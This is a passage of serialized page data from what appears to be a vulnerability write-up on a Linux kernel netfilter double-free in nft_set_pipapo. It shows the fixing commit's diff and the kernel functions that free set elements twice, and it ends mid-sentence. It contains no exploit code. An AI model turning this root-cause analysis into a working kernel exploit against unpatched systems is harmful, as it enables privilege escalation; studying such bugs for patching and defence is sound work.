all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":21,"tag":91,"props":53016,"children":53017},{},[53018,53023],{"type":21,"tag":8055,"props":53019,"children":53020},{},[53021],{"type":26,"value":53022},"Abort path",{"type":26,"value":53024},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":21,"tag":66,"props":53026,"children":53028},{"id":53027},"vulnerability-details",[53029],{"type":26,"value":53030},"Vulnerability details",{"type":21,"tag":22,"props":53032,"children":53033},{},[53034,53036,53042],{"type":26,"value":53035},"Moving on, let's check out the ",{"type":21,"tag":29,"props":53037,"children":53040},{"href":53038,"rel":53039},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[33],[53041],{"type":26,"value":6957},{"type":26,"value":53043}," that fixed the bug.",{"type":21,"tag":143,"props":53045,"children":53047},{"className":43052,"code":53046,"language":43054,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[53048],{"type":21,"tag":78,"props":53049,"children":53050},{"__ignoreMap":7},[53051,53059,53067,53075,53083,53091,53098,53106,53113,53121,53129,53137,53145,53153,53161,53169,53177,53185,53193,53201,53208,53216,53224,53232,53239,53246],{"type":21,"tag":153,"props":53052,"children":53053},{"class":155,"line":156},[53054],{"type":21,"tag":153,"props":53055,"children":53056},{"style":170},[53057],{"type":26,"value":53058},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":153,"props":53060,"children":53061},{"class":155,"line":166},[53062],{"type":21,"tag":153,"props":53063,"children":53064},{"style":160},[53065],{"type":26,"value":53066},"index c0ceea068936a6..df8de509024637 100644\n",{"type":21,"tag":153,"props":53068,"children":53069},{"class":155,"line":225},[53070],{"type":21,"tag":153,"props":53071,"children":53072},{"style":170},[53073],{"type":26,"value":53074},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":153,"props":53076,"children":53077},{"class":155,"line":239},[53078],{"type":21,"tag":153,"props":53079,"children":53080},{"style":170},[53081],{"type":26,"value":53082},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":153,"props":53084,"children":53085},{"class":155,"line":382},[53086],{"type":21,"tag":153,"props":53087,"children":53088},{"style":160},[53089],{"type":26,"value":53090},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":153,"props":53092,"children":53093},{"class":155,"line":501},[53094],{"type":21,"tag":153,"props":53095,"children":53096},{"emptyLinePlaceholder":16},[53097],{"type":26,"value":759},{"type":21,"tag":153,"props":53099,"children":53100},{"class":155,"line":533},[53101],{"type":21,"tag":153,"props":53102,"children":53103},{"style":160},[53104],{"type":26,"value":53105},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":21,"tag":153,"props":53107,"children":53108},{"class":155,"line":542},[53109],{"type":21,"tag":153,"props":53110,"children":53111},{"emptyLinePlaceholder":16},[53112],{"type":26,"value":759},{"type":21,"tag":153,"props":53114,"children":53115},{"class":155,"line":762},[53116],{"type":21,"tag":153,"props":53117,"children":53118},{"style":160},[53119],{"type":26,"value":53120},"  if (m) {\n",{"type":21,"tag":153,"props":53122,"children":53123},{"class":155,"line":776},[53124],{"type":21,"tag":153,"props":53125,"children":53126},{"style":160},[53127],{"type":26,"value":53128},"   rcu_barrier();\n",{"type":21,"tag":153,"props":53130,"children":53131},{"class":155,"line":795},[53132],{"type":21,"tag":153,"props":53133,"children":53134},{"style":160},[53135],{"type":26,"value":53136}," \n",{"type":21,"tag":153,"props":53138,"children":53139},{"class":155,"line":808},[53140],{"type":21,"tag":153,"props":53141,"children":53142},{"style":671},[53143],{"type":26,"value":53144},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":153,"props":53146,"children":53147},{"class":155,"line":820},[53148],{"type":21,"tag":153,"props":53149,"children":53150},{"style":671},[53151],{"type":26,"value":53152},"-\n",{"type":21,"tag":153,"props":53154,"children":53155},{"class":155,"line":842},[53156],{"type":21,"tag":153,"props":53157,"children":53158},{"style":160},[53159],{"type":26,"value":53160},"   for_each_possible_cpu(cpu)\n",{"type":21,"tag":153,"props":53162,"children":53163},{"class":155,"line":3204},[53164],{"type":21,"tag":153,"props":53165,"children":53166},{"style":160},[53167],{"type":26,"value":53168},"    pipapo_free_scratch(m, cpu);\n",{"type":21,"tag":153,"props":53170,"children":53171},{"class":155,"line":3230},[53172],{"type":21,"tag":153,"props":53173,"children":53174},{"style":160},[53175],{"type":26,"value":53176},"   free_percpu(m->scratch);\n",{"type":21,"tag":153,"props":53178,"children":53179},{"class":155,"line":3239},[53180],{"type":21,"tag":153,"props":53181,"children":53182},{"style":160},[53183],{"type":26,"value":53184},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":153,"props":53186,"children":53187},{"class":155,"line":3253},[53188],{"type":21,"tag":153,"props":53189,"children":53190},{"style":160},[53191],{"type":26,"value":53192},"  if (priv->clone) {\n",{"type":21,"tag":153,"props":53194,"children":53195},{"class":155,"line":3301},[53196],{"type":21,"tag":153,"props":53197,"children":53198},{"style":160},[53199],{"type":26,"value":53200},"   m = priv->clone;\n",{"type":21,"tag":153,"props":53202,"children":53203},{"class":155,"line":3346},[53204],{"type":21,"tag":153,"props":53205,"children":53206},{"style":160},[53207],{"type":26,"value":53136},{"type":21,"tag":153,"props":53209,"children":53210},{"class":155,"line":3355},[53211],{"type":21,"tag":153,"props":53212,"children":53213},{"style":671},[53214],{"type":26,"value":53215},"-  if (priv->dirty)\n",{"type":21,"tag":153,"props":53217,"children":53218},{"class":155,"line":3364},[53219],{"type":21,"tag":153,"props":53220,"children":53221},{"style":671},[53222],{"type":26,"value":53223},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":153,"props":53225,"children":53226},{"class":155,"line":3376},[53227],{"type":21,"tag":153,"props":53228,"children":53229},{"style":300},[53230],{"type":26,"value":53231},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":153,"props":53233,"children":53234},{"class":155,"line":3393},[53235],{"type":21,"tag":153,"props":53236,"children":53237},{"style":160},[53238],{"type":26,"value":53136},{"type":21,"tag":153,"props":53240,"children":53241},{"class":155,"line":3405},[53242],{"type":21,"tag":153,"props":53243,"children":53244},{"style":160},[53245],{"type":26,"value":53160},{"type":21,"tag":153,"props":53247,"children":53248},{"class":155,"line":3427},[53249],{"type":21,"tag":153,"props":53250,"children":53251},{"style":160},[53252],{"type":26,"value":53253},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":21,"tag":22,"props":53255,"children":53256},{},[53257,53259,53265,53266,53272,53274,53280,53282,53288,53290,53295,53297,53303,53305,53311,53313,53319],{"type":26,"value":53258},"If the ",{"type":21,"tag":78,"props":53260,"children":53262},{"className":53261},[],[53263],{"type":26,"value":53264},"priv->dirty",{"type":26,"value":52},{"type":21,"tag":78,"props":53267,"children":53269},{"className":53268},[],[53270],{"type":26,"value":53271},"priv->clone",{"type":26,"value":53273}," variables are set, ",{"type":21,"tag":78,"props":53275,"children":53277},{"className":53276},[],[53278],{"type":26,"value":53279},"nft_set_pipapo_match_destroy()",{"type":26,"value":53281}," is called twice, once with ",{"type":21,"tag":78,"props":53283,"children":53285},{"className":53284},[],[53286],{"type":26,"value":53287},"priv->match",{"type":26,"value":53289}," as an argument, and then again with ",{"type":21,"tag":78,"props":53291,"children":53293},{"className":53292},[],[53294],{"type":26,"value":53271},{"type":26,"value":53296},". Looking at what this function does, we can see that it is iterating over the ",{"type":21,"tag":78,"props":53298,"children":53300},{"className":53299},[],[53301],{"type":26,"value":53302},"setelem",{"type":26,"value":53304},"s of the ",{"type":21,"tag":78,"props":53306,"children":53308},{"className":53307},[],[53309],{"type":26,"value":53310},"set",{"type":26,"value":53312}," and calling ",{"type":21,"tag":78,"props":53314,"children":53316},{"className":53315},[],[53317],{"type":26,"value":53318},"nf_tables_set_elem_destroy()",{"type":26,"value":53320}," for each of them.",{"type":21,"tag":143,"props":53322,"children":53324},{"className":19212,"code":53323,"language":5896,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[53325],{"type":21,"tag":78,"props":53326,"children":53327},{"__ignoreMap":7},[53328,53375,53403,53429,53436,53457,53470,53477,53574,53582,53589,53644,53665,53672,53775,53787,53794,53830,53837,53871,53878],{"type":21,"tag":153,"props":53329,"children":53330},{"class":155,"line":156},[53331,53336,53341,53346,53350,53354,53358,53363,53367,53371],{"type":21,"tag":153,"props":53332,"children":53333},{"style":170},[53334],{"type":26,"value":53335},"static",{"type":21,"tag":153,"props":53337,"children":53338},{"style":170},[53339],{"type":26,"value":53340}," void",{"type":21,"tag":153,"props":53342,"children":53343},{"style":181},[53344],{"type":26,"value":53345}," nft_set_pipapo_match_destroy",{"type":21,"tag":153,"props":53347,"children":53348},{"style":160},[53349],{"type":26,"value":189},{"type":21,"tag":153,"props":53351,"children":53352},{"style":170},[53353],{"type":26,"value":5085},{"type":21,"tag":153,"props":53355,"children":53356},{"style":170},[53357],{"type":26,"value":23844},{"type":21,"tag":153,"props":53359,"children":53360},{"style":160},[53361],{"type":26,"value":53362}," nft_ctx ",{"type":21,"tag":153,"props":53364,"children":53365},{"style":198},[53366],{"type":26,"value":313},{"type":21,"tag":153,"props":53368,"children":53369},{"style":192},[53370],{"type":26,"value":1882},{"type":21,"tag":153,"props":53372,"children":53373},{"style":160},[53374],{"type":26,"value":792},{"type":21,"tag":153,"props":53376,"children":53377},{"class":155,"line":166},[53378,53382,53386,53391,53395,53399],{"type":21,"tag":153,"props":53379,"children":53380},{"style":170},[53381],{"type":26,"value":34242},{"type":21,"tag":153,"props":53383,"children":53384},{"style":170},[53385],{"type":26,"value":23844},{"type":21,"tag":153,"props":53387,"children":53388},{"style":160},[53389],{"type":26,"value":53390}," nft_set ",{"type":21,"tag":153,"props":53392,"children":53393},{"style":198},[53394],{"type":26,"value":313},{"type":21,"tag":153,"props":53396,"children":53397},{"style":192},[53398],{"type":26,"value":53310},{"type":21,"tag":153,"props":53400,"children":53401},{"style":160},[53402],{"type":26,"value":792},{"type":21,"tag":153,"props":53404,"children":53405},{"class":155,"line":225},[53406,53411,53416,53420,53425],{"type":21,"tag":153,"props":53407,"children":53408},{"style":170},[53409],{"type":26,"value":53410},"      struct",{"type":21,"tag":153,"props":53412,"children":53413},{"style":160},[53414],{"type":26,"value":53415}," nft_pipapo_match ",{"type":21,"tag":153,"props":53417,"children":53418},{"style":198},[53419],{"type":26,"value":313},{"type":21,"tag":153,"props":53421,"children":53422},{"style":192},[53423],{"type":26,"value":53424},"m",{"type":21,"tag":153,"props":53426,"children":53427},{"style":160},[53428],{"type":26,"value":5909},{"type":21,"tag":153,"props":53430,"children":53431},{"class":155,"line":239},[53432],{"type":21,"tag":153,"props":53433,"children":53434},{"style":160},[53435],{"type":26,"value":13601},{"type":21,"tag":153,"props":53437,"children":53438},{"class":155,"line":382},[53439,53443,53448,53452],{"type":21,"tag":153,"props":53440,"children":53441},{"style":170},[53442],{"type":26,"value":23844},{"type":21,"tag":153,"props":53444,"children":53445},{"style":160},[53446],{"type":26,"value":53447}," nft_pipapo_field ",{"type":21,"tag":153,"props":53449,"children":53450},{"style":198},[53451],{"type":26,"value":313},{"type":21,"tag":153,"props":53453,"children":53454},{"style":160},[53455],{"type":26,"value":53456},"f;\n",{"type":21,"tag":153,"props":53458,"children":53459},{"class":155,"line":501},[53460,53465],{"type":21,"tag":153,"props":53461,"children":53462},{"style":170},[53463],{"type":26,"value":53464}," int",{"type":21,"tag":153,"props":53466,"children":53467},{"style":160},[53468],{"type":26,"value":53469}," i, r;\n",{"type":21,"tag":153,"props":53471,"children":53472},{"class":155,"line":533},[53473],{"type":21,"tag":153,"props":53474,"children":53475},{"emptyLinePlaceholder":16},[53476],{"type":26,"value":759},{"type":21,"tag":153,"props":53478,"children":53479},{"class":155,"line":542},[53480,53485,53490,53494,53498,53503,53507,53512,53516,53520,53525,53529,53533,53537,53542,53547,53551,53556,53561,53566,53570],{"type":21,"tag":153,"props":53481,"children":53482},{"style":1751},[53483],{"type":26,"value":53484}," for",{"type":21,"tag":153,"props":53486,"children":53487},{"style":160},[53488],{"type":26,"value":53489}," (i ",{"type":21,"tag":153,"props":53491,"children":53492},{"style":198},[53493],{"type":26,"value":2367},{"type":21,"tag":153,"props":53495,"children":53496},{"style":300},[53497],{"type":26,"value":5799},{"type":21,"tag":153,"props":53499,"children":53500},{"style":160},[53501],{"type":26,"value":53502},", f ",{"type":21,"tag":153,"props":53504,"children":53505},{"style":198},[53506],{"type":26,"value":2367},{"type":21,"tag":153,"props":53508,"children":53509},{"style":192},[53510],{"type":26,"value":53511}," m",{"type":21,"tag":153,"props":53513,"children":53514},{"style":160},[53515],{"type":26,"value":2953},{"type":21,"tag":153,"props":53517,"children":53518},{"style":192},[53519],{"type":26,"value":35778},{"type":21,"tag":153,"props":53521,"children":53522},{"style":160},[53523],{"type":26,"value":53524},"; i ",{"type":21,"tag":153,"props":53526,"children":53527},{"style":198},[53528],{"type":26,"value":8537},{"type":21,"tag":153,"props":53530,"children":53531},{"style":192},[53532],{"type":26,"value":53511},{"type":21,"tag":153,"props":53534,"children":53535},{"style":160},[53536],{"type":26,"value":2953},{"type":21,"tag":153,"props":53538,"children":53539},{"style":192},[53540],{"type":26,"value":53541},"field_count",{"type":21,"tag":153,"props":53543,"children":53544},{"style":198},[53545],{"type":26,"value":53546}," -",{"type":21,"tag":153,"props":53548,"children":53549},{"style":300},[53550],{"type":26,"value":7253},{"type":21,"tag":153,"props":53552,"children":53553},{"style":160},[53554],{"type":26,"value":53555},"; i",{"type":21,"tag":153,"props":53557,"children":53558},{"style":198},[53559],{"type":26,"value":53560},"++",{"type":21,"tag":153,"props":53562,"children":53563},{"style":160},[53564],{"type":26,"value":53565},", f",{"type":21,"tag":153,"props":53567,"children":53568},{"style":198},[53569],{"type":26,"value":53560},{"type":21,"tag":153,"props":53571,"children":53572},{"style":160},[53573],{"type":26,"value":5909},{"type":21,"tag":153,"props":53575,"children":53576},{"class":155,"line":762},[53577],{"type":21,"tag":153,"props":53578,"children":53579},{"style":160},[53580],{"type":26,"value":53581},"  ;\n",{"type":21,"tag":153,"props":53583,"children":53584},{"class":155,"line":776},[53585],{"type":21,"tag":153,"props":53586,"children":53587},{"emptyLinePlaceholder":16},[53588],{"type":26,"value":759},{"type":21,"tag":153,"props":53590,"children":53591},{"class":155,"line":795},[53592,53596,53601,53605,53609,53614,53618,53622,53626,53631,53636,53640],{"type":21,"tag":153,"props":53593,"children":53594},{"style":1751},[53595],{"type":26,"value":53484},{"type":21,"tag":153,"props":53597,"children":53598},{"style":160},[53599],{"type":26,"value":53600}," (r ",{"type":21,"tag":153,"props":53602,"children":53603},{"style":198},[53604],{"type":26,"value":2367},{"type":21,"tag":153,"props":53606,"children":53607},{"style":300},[53608],{"type":26,"value":5799},{"type":21,"tag":153,"props":53610,"children":53611},{"style":160},[53612],{"type":26,"value":53613},"; r ",{"type":21,"tag":153,"props":53615,"children":53616},{"style":198},[53617],{"type":26,"value":8537},{"type":21,"tag":153,"props":53619,"children":53620},{"style":192},[53621],{"type":26,"value":35664},{"type":21,"tag":153,"props":53623,"children":53624},{"style":160},[53625],{"type":26,"value":2953},{"type":21,"tag":153,"props":53627,"children":53628},{"style":192},[53629],{"type":26,"value":53630},"rules",{"type":21,"tag":153,"props":53632,"children":53633},{"style":160},[53634],{"type":26,"value":53635},"; r",{"type":21,"tag":153,"props":53637,"children":53638},{"style":198},[53639],{"type":26,"value":53560},{"type":21,"tag":153,"props":53641,"children":53642},{"style":160},[53643],{"type":26,"value":2659},{"type":21,"tag":153,"props":53645,"children":53646},{"class":155,"line":808},[53647,53651,53656,53660],{"type":21,"tag":153,"props":53648,"children":53649},{"style":170},[53650],{"type":26,"value":8527},{"type":21,"tag":153,"props":53652,"children":53653},{"style":160},[53654],{"type":26,"value":53655}," nft_pipapo_elem ",{"type":21,"tag":153,"props":53657,"children":53658},{"style":198},[53659],{"type":26,"value":313},{"type":21,"tag":153,"props":53661,"children":53662},{"style":160},[53663],{"type":26,"value":53664},"e;\n",{"type":21,"tag":153,"props":53666,"children":53667},{"class":155,"line":820},[53668],{"type":21,"tag":153,"props":53669,"children":53670},{"emptyLinePlaceholder":16},[53671],{"type":26,"value":759},{"type":21,"tag":153,"props":53673,"children":53674},{"class":155,"line":842},[53675,53679,53683,53687,53691,53695,53699,53703,53707,53711,53715,53719,53724,53729,53733,53737,53741,53746,53750,53754,53758,53762,53767,53771],{"type":21,"tag":153,"props":53676,"children":53677},{"style":1751},[53678],{"type":26,"value":34089},{"type":21,"tag":153,"props":53680,"children":53681},{"style":160},[53682],{"type":26,"value":53600},{"type":21,"tag":153,"props":53684,"children":53685},{"style":198},[53686],{"type":26,"value":8537},{"type":21,"tag":153,"props":53688,"children":53689},{"style":192},[53690],{"type":26,"value":35664},{"type":21,"tag":153,"props":53692,"children":53693},{"style":160},[53694],{"type":26,"value":2953},{"type":21,"tag":153,"props":53696,"children":53697},{"style":192},[53698],{"type":26,"value":53630},{"type":21,"tag":153,"props":53700,"children":53701},{"style":198},[53702],{"type":26,"value":53546},{"type":21,"tag":153,"props":53704,"children":53705},{"style":300},[53706],{"type":26,"value":7253},{"type":21,"tag":153,"props":53708,"children":53709},{"style":198},[53710],{"type":26,"value":16893},{"type":21,"tag":153,"props":53712,"children":53713},{"style":192},[53714],{"type":26,"value":35664},{"type":21,"tag":153,"props":53716,"children":53717},{"style":160},[53718],{"type":26,"value":2953},{"type":21,"tag":153,"props":53720,"children":53721},{"style":192},[53722],{"type":26,"value":53723},"mt",{"type":21,"tag":153,"props":53725,"children":53726},{"style":160},[53727],{"type":26,"value":53728},"[r ",{"type":21,"tag":153,"props":53730,"children":53731},{"style":198},[53732],{"type":26,"value":4099},{"type":21,"tag":153,"props":53734,"children":53735},{"style":300},[53736],{"type":26,"value":7253},{"type":21,"tag":153,"props":53738,"children":53739},{"style":160},[53740],{"type":26,"value":52639},{"type":21,"tag":153,"props":53742,"children":53743},{"style":192},[53744],{"type":26,"value":53745},"e",{"type":21,"tag":153,"props":53747,"children":53748},{"style":198},[53749],{"type":26,"value":6031},{"type":21,"tag":153,"props":53751,"children":53752},{"style":192},[53753],{"type":26,"value":35664},{"type":21,"tag":153,"props":53755,"children":53756},{"style":160},[53757],{"type":26,"value":2953},{"type":21,"tag":153,"props":53759,"children":53760},{"style":192},[53761],{"type":26,"value":53723},{"type":21,"tag":153,"props":53763,"children":53764},{"style":160},[53765],{"type":26,"value":53766},"[r].",{"type":21,"tag":153,"props":53768,"children":53769},{"style":192},[53770],{"type":26,"value":53745},{"type":21,"tag":153,"props":53772,"children":53773},{"style":160},[53774],{"type":26,"value":5909},{"type":21,"tag":153,"props":53776,"children":53777},{"class":155,"line":3204},[53778,53783],{"type":21,"tag":153,"props":53779,"children":53780},{"style":1751},[53781],{"type":26,"value":53782},"   continue",{"type":21,"tag":153,"props":53784,"children":53785},{"style":160},[53786],{"type":26,"value":1759},{"type":21,"tag":153,"props":53788,"children":53789},{"class":155,"line":3230},[53790],{"type":21,"tag":153,"props":53791,"children":53792},{"emptyLinePlaceholder":16},[53793],{"type":26,"value":759},{"type":21,"tag":153,"props":53795,"children":53796},{"class":155,"line":3239},[53797,53802,53806,53810,53814,53818,53822,53826],{"type":21,"tag":153,"props":53798,"children":53799},{"style":160},[53800],{"type":26,"value":53801},"  e ",{"type":21,"tag":153,"props":53803,"children":53804},{"style":198},[53805],{"type":26,"value":2367},{"type":21,"tag":153,"props":53807,"children":53808},{"style":192},[53809],{"type":26,"value":35664},{"type":21,"tag":153,"props":53811,"children":53812},{"style":160},[53813],{"type":26,"value":2953},{"type":21,"tag":153,"props":53815,"children":53816},{"style":192},[53817],{"type":26,"value":53723},{"type":21,"tag":153,"props":53819,"children":53820},{"style":160},[53821],{"type":26,"value":53766},{"type":21,"tag":153,"props":53823,"children":53824},{"style":192},[53825],{"type":26,"value":53745},{"type":21,"tag":153,"props":53827,"children":53828},{"style":160},[53829],{"type":26,"value":1759},{"type":21,"tag":153,"props":53831,"children":53832},{"class":155,"line":3253},[53833],{"type":21,"tag":153,"props":53834,"children":53835},{"emptyLinePlaceholder":16},[53836],{"type":26,"value":759},{"type":21,"tag":153,"props":53838,"children":53839},{"class":155,"line":3301},[53840,53845,53850,53854,53858,53862,53867],{"type":21,"tag":153,"props":53841,"children":53842},{"style":181},[53843],{"type":26,"value":53844},"  nf_tables_set_elem_destroy",{"type":21,"tag":153,"props":53846,"children":53847},{"style":160},[53848],{"type":26,"value":53849},"(ctx, set, ",{"type":21,"tag":153,"props":53851,"children":53852},{"style":198},[53853],{"type":26,"value":1974},{"type":21,"tag":153,"props":53855,"children":53856},{"style":192},[53857],{"type":26,"value":53745},{"type":21,"tag":153,"props":53859,"children":53860},{"style":160},[53861],{"type":26,"value":2953},{"type":21,"tag":153,"props":53863,"children":53864},{"style":192},[53865],{"type":26,"value":53866},"priv",{"type":21,"tag":153,"props":53868,"children":53869},{"style":160},[53870],{"type":26,"value":530},{"type":21,"tag":153,"props":53872,"children":53873},{"class":155,"line":3346},[53874],{"type":21,"tag":153,"props":53875,"children":53876},{"style":160},[53877],{"type":26,"value":12318},{"type":21,"tag":153,"props":53879,"children":53880},{"class":155,"line":3355},[53881],{"type":21,"tag":153,"props":53882,"children":53883},{"style":160},[53884],{"type":26,"value":548},{"type":21,"tag":22,"props":53886,"children":53887},{},[53888,53890,53896,53898,53903],{"type":26,"value":53889},"Which will then ",{"type":21,"tag":78,"props":53891,"children":53893},{"className":53892},[],[53894],{"type":26,"value":53895},"kfree()",{"type":26,"value":53897}," the ",{"type":21,"tag":78,"props":53899,"children":53901},{"className":53900},[],[53902],{"type":26,"value":53302},{"type":26,"value":355},{"type":21,"tag":143,"props":53905,"children":53907},{"className":19212,"code":53906,"language":5896,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[53908],{"type":21,"tag":78,"props":53909,"children":53910},{"__ignoreMap":7},[53911,53952,53980,54009,54016,54051,54058,54079,54102,54109,54122],{"type":21,"tag":153,"props":53912,"children":53913},{"class":155,"line":156},[53914,53919,53924,53928,53932,53936,53940,53944,53948],{"type":21,"tag":153,"props":53915,"children":53916},{"style":170},[53917],{"type":26,"value":53918},"void",{"type":21,"tag":153,"props":53920,"children":53921},{"style":181},[53922],{"type":26,"value":53923}," nf_tables_set_elem_destroy",{"type":21,"tag":153,"props":53925,"children":53926},{"style":160},[53927],{"type":26,"value":189},{"type":21,"tag":153,"props":53929,"children":53930},{"style":170},[53931],{"type":26,"value":5085},{"type":21,"tag":153,"props":53933,"children":53934},{"style":170},[53935],{"type":26,"value":23844},{"type":21,"tag":153,"props":53937,"children":53938},{"style":160},[53939],{"type":26,"value":53362},{"type":21,"tag":153,"props":53941,"children":53942},{"style":198},[53943],{"type":26,"value":313},{"type":21,"tag":153,"props":53945,"children":53946},{"style":192},[53947],{"type":26,"value":1882},{"type":21,"tag":153,"props":53949,"children":53950},{"style":160},[53951],{"type":26,"value":792},{"type":21,"tag":153,"props":53953,"children":53954},{"class":155,"line":166},[53955,53960,53964,53968,53972,53976],{"type":21,"tag":153,"props":53956,"children":53957},{"style":170},[53958],{"type":26,"value":53959},"    const",{"type":21,"tag":153,"props":53961,"children":53962},{"style":170},[53963],{"type":26,"value":23844},{"type":21,"tag":153,"props":53965,"children":53966},{"style":160},[53967],{"type":26,"value":53390},{"type":21,"tag":153,"props":53969,"children":53970},{"style":198},[53971],{"type":26,"value":313},{"type":21,"tag":153,"props":53973,"children":53974},{"style":192},[53975],{"type":26,"value":53310},{"type":21,"tag":153,"props":53977,"children":53978},{"style":160},[53979],{"type":26,"value":792},{"type":21,"tag":153,"props":53981,"children":53982},{"class":155,"line":225},[53983,53987,53991,53996,54000,54005],{"type":21,"tag":153,"props":53984,"children":53985},{"style":170},[53986],{"type":26,"value":53959},{"type":21,"tag":153,"props":53988,"children":53989},{"style":170},[53990],{"type":26,"value":23844},{"type":21,"tag":153,"props":53992,"children":53993},{"style":160},[53994],{"type":26,"value":53995}," nft_elem_priv ",{"type":21,"tag":153,"props":53997,"children":53998},{"style":198},[53999],{"type":26,"value":313},{"type":21,"tag":153,"props":54001,"children":54002},{"style":192},[54003],{"type":26,"value":54004},"elem_priv",{"type":21,"tag":153,"props":54006,"children":54007},{"style":160},[54008],{"type":26,"value":5909},{"type":21,"tag":153,"props":54010,"children":54011},{"class":155,"line":239},[54012],{"type":21,"tag":153,"props":54013,"children":54014},{"style":160},[54015],{"type":26,"value":13601},{"type":21,"tag":153,"props":54017,"children":54018},{"class":155,"line":382},[54019,54023,54028,54032,54037,54041,54046],{"type":21,"tag":153,"props":54020,"children":54021},{"style":170},[54022],{"type":26,"value":23844},{"type":21,"tag":153,"props":54024,"children":54025},{"style":160},[54026],{"type":26,"value":54027}," nft_set_ext ",{"type":21,"tag":153,"props":54029,"children":54030},{"style":198},[54031],{"type":26,"value":313},{"type":21,"tag":153,"props":54033,"children":54034},{"style":160},[54035],{"type":26,"value":54036},"ext ",{"type":21,"tag":153,"props":54038,"children":54039},{"style":198},[54040],{"type":26,"value":2367},{"type":21,"tag":153,"props":54042,"children":54043},{"style":181},[54044],{"type":26,"value":54045}," nft_set_elem_ext",{"type":21,"tag":153,"props":54047,"children":54048},{"style":160},[54049],{"type":26,"value":54050},"(set, elem_priv);\n",{"type":21,"tag":153,"props":54052,"children":54053},{"class":155,"line":501},[54054],{"type":21,"tag":153,"props":54055,"children":54056},{"emptyLinePlaceholder":16},[54057],{"type":26,"value":759},{"type":21,"tag":153,"props":54059,"children":54060},{"class":155,"line":533},[54061,54065,54069,54074],{"type":21,"tag":153,"props":54062,"children":54063},{"style":1751},[54064],{"type":26,"value":18485},{"type":21,"tag":153,"props":54066,"children":54067},{"style":160},[54068],{"type":26,"value":5820},{"type":21,"tag":153,"props":54070,"children":54071},{"style":181},[54072],{"type":26,"value":54073},"nft_set_ext_exists",{"type":21,"tag":153,"props":54075,"children":54076},{"style":160},[54077],{"type":26,"value":54078},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":21,"tag":153,"props":54080,"children":54081},{"class":155,"line":542},[54082,54087,54092,54097],{"type":21,"tag":153,"props":54083,"children":54084},{"style":181},[54085],{"type":26,"value":54086},"  nft_set_elem_expr_destroy",{"type":21,"tag":153,"props":54088,"children":54089},{"style":160},[54090],{"type":26,"value":54091},"(ctx, ",{"type":21,"tag":153,"props":54093,"children":54094},{"style":181},[54095],{"type":26,"value":54096},"nft_set_ext_expr",{"type":21,"tag":153,"props":54098,"children":54099},{"style":160},[54100],{"type":26,"value":54101},"(ext));\n",{"type":21,"tag":153,"props":54103,"children":54104},{"class":155,"line":762},[54105],{"type":21,"tag":153,"props":54106,"children":54107},{"emptyLinePlaceholder":16},[54108],{"type":26,"value":759},{"type":21,"tag":153,"props":54110,"children":54111},{"class":155,"line":776},[54112,54117],{"type":21,"tag":153,"props":54113,"children":54114},{"style":181},[54115],{"type":26,"value":54116}," kfree",{"type":21,"tag":153,"props":54118,"children":54119},{"style":160},[54120],{"type":26,"value":54121},"(elem_priv);\n",{"type":21,"tag":153,"props":54123,"children":54124},{"class":155,"line":795},[54125],{"type":21,"tag":153,"props":54126,"children":54127},{"style":160},[54128],{"type":26,"value":548},{"type":21,"tag":22,"props":54130,"children":54131},{},[54132,54133,54139,54141,54146,54148,54153,54155,54160,54161,54166,54168,54173,54175,54180,54182,54187],{"type":26,"value":19311},{"type":21,"tag":78,"props":54134,"children":54136},{"className":54135},[],[54137],{"type":26,"value":54138},"nft_pipapo_match",{"type":26,"value":54140}," objects contain views of the 